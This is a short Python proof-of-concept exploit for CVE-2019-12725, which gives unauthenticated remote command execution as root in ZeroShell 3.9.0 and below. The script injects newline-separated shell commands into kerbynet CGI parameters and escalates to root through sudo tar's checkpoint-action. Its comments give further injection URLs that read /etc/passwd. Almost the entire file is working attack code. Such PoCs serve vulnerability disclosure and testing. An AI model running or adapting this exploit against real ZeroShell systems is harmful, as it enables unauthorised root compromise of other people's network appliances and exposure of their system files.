CVE-2019-12725/ZeroShell-RCE-EoP.py

# CVE-2019-12725 - ZeroShell 3.9.0 and below Remote Command Execution as Root (PoC)
# Discovered by: Juan Manuel Fernandez (@TheXC3LL)

import requests
import sys


target = "http://x.x.x.x"
payload = "/etc/sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=id"
poc = "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0a" + payload + "%0a'"

# Vuln too: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type='%0acat /etc/passwd%0a'
# And: /cgi-bin/kerbynet?Action=StartSessionSubmit&User='%0acat /etc/passwd%0a'&PW=
# It the same vuln that https://www.exploit-db.com/exploits/41040 but bypassing the fix using %0a

req = requests.get(target + poc)
print req.text[:req.text.rindex("<html>") / 2]